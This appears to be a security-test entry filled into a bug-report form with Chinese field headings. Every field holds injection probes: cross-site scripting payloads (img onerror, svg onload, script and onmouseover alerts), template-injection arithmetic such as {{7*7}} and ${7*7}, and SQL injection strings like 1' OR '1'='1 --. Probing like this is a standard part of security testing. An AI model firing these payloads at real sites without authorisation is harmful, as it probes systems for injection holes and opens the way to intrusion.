sectest-xss1 <img src=x onerror=alert(1)> {{7*7}} ${7*7}

实际结果

SQLECHO ' " <> <img src=x onerror=alert(2)>

预期结果

{{77}} ${77} <%=77%> {{88}}

复现步骤

1' OR '1'='1 -- ; 1';-- <script>alert(3)</script> "onmouseover=alert(4)

补充说明

<svg onload=alert(5)> {{77}} ${77} x '"><img src=x onerror=alert(7)>